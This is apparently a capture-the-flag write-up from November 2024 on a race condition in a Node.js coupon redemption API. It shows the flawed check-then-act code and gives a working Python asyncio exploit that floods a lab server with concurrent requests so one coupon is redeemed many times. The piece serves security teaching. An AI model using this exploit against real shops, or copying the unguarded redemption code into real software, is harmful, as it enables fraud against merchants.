Race against the machine: exploiting race conditions in coupons

November 9, 2024

Introduction

Race conditions remain one of the most interesting vulnerabilities in web applications, especially in e-commerce systems. In this post, we'll explore a practical example of how race conditions can be exploited in coupon redemption systems, potentially leading to multiple redemptions of single-use coupons.

Understanding the Vulnerability

The vulnerability exists in a coupon redemption API endpoint (/api/coupons/apply) where a critical race condition occurs between checking if a coupon has been used and actually marking it as used. Let's break down the vulnerable code:

router.post('/api/coupons/apply', AuthMiddleware, async (req, res) => {
	return db.getUser(req.data.username)
		.then(async user => {
			if (user === undefined) {
				await db.registerUser(req.data.username);
				user = { username: req.data.username, balance: 0.00, coupons: '' };
			}
			const { coupon_code } = req.body;
			if (coupon_code) {
				if (user.coupons.includes(coupon_code)) {
					return res.status(401).send(response("This coupon is already redeemed!"));
				}
				return db.getCouponValue(coupon_code)
					.then(coupon => {
						if (coupon) {
							return db.addBalance(user.username, coupon.value)
								.then(() => {
									db.setCoupon(user.username, coupon_code)
										.then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`)))
								})
								.catch(() => res.send(response("Failed to redeem the coupon!")));
						}
						res.send(response("No such coupon exists!"));
					})
			}
			return res.status(401).send(response("Missing required parameters!"));
		});
});

The Race Condition Explained

The vulnerability occurs due to these key factors:

  1. Check-Then-Act Pattern: The code first checks if the coupon is used, then proceeds to apply it
  2. Asynchronous Operations: Multiple database operations happen sequentially
  3. No Transaction Control: The operations aren't wrapped in a database transaction

When multiple requests hit this endpoint simultaneously, they can all pass the initial check before any of them complete the coupon registration, leading to multiple successful redemptions.

The Purchase System

The application includes a purchase system where users can spend their balance:

router.post('/api/purchase', AuthMiddleware, async (req, res) => {
	return db.getUser(req.data.username)
		.then(async user => {
			if (user === undefined) {
				await db.registerUser(req.data.username);
				user = { username: req.data.username, balance: 0.00, coupons: '' };
			}
			const { item } = req.body;
			if (item) {
				return db.getProduct(item)
					.then(product => {
						if (product == undefined) return res.send(response("Invalid item code supplied!"));
						if (product.price <= user.balance) {
							newBalance = parseFloat(user.balance - product.price).toFixed(2);
							return db.setBalance(req.data.username, newBalance)
								.then(() => {
									if (product.item_name == 'C8') return res.json({
										flag: fs.readFileSync('/app/flag').toString(),
										message: `Thank you for your order! $${newBalance} coupon credits left!`
									})
									res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`))
								});
						}
						return res.status(403).send(response("Insufficient balance!"));

					})
			}
			return res.status(401).send(response('Missing required parameters!'));
		});
});

Crafting the Exploit

To exploit this race condition, we need to:

  1. Create multiple concurrent requests
  2. Time them to arrive simultaneously
  3. Handle the responses appropriately

Here's our exploit using Python's asyncio and httpx:

import httpx
import asyncio
import logging

url = "http://94.237.49.31:46852"
logging.basicConfig(level=logging.INFO)

async def apply_coupon(session):
    async with httpx.AsyncClient() as client:
        try:
            response = await client.post(url + "/api/coupons/apply", json={"coupon_code": "HTB_100"}, cookies=session)
            logging.info(response.text)
            session.update(response.cookies)
        except Exception as e:
            logging.error(f"An error occurred: {e}")

async def main():
    async with httpx.AsyncClient() as client:
        # reset session and perform initial purchase
        session = (await client.get(url + '/api/reset')).cookies
        response = await client.post(url + "/api/purchase", json={"item": "C8"})
        session.update(response.cookies)
        logging.info(response.text)

        # perform race condition
        await asyncio.gather(*(apply_coupon(session) for _ in range(1, 20)))
        logging.info("requests completed")

        # perform purchase again
        response = await client.post(url + "/api/purchase", json={"item": "C8"}, cookies=session)
        logging.info(response.text)

asyncio.run(main())

In short

Race conditions in web applications can lead to serious vulnerabilities, especially in systems handling financial transactions or coupon redemptions. While they might be tricky to spot during development, understanding and testing for these conditions is crucial for building secure applications.

Remember: always implement proper synchronization mechanisms when dealing with critical state-changing operations in your applications.

Resources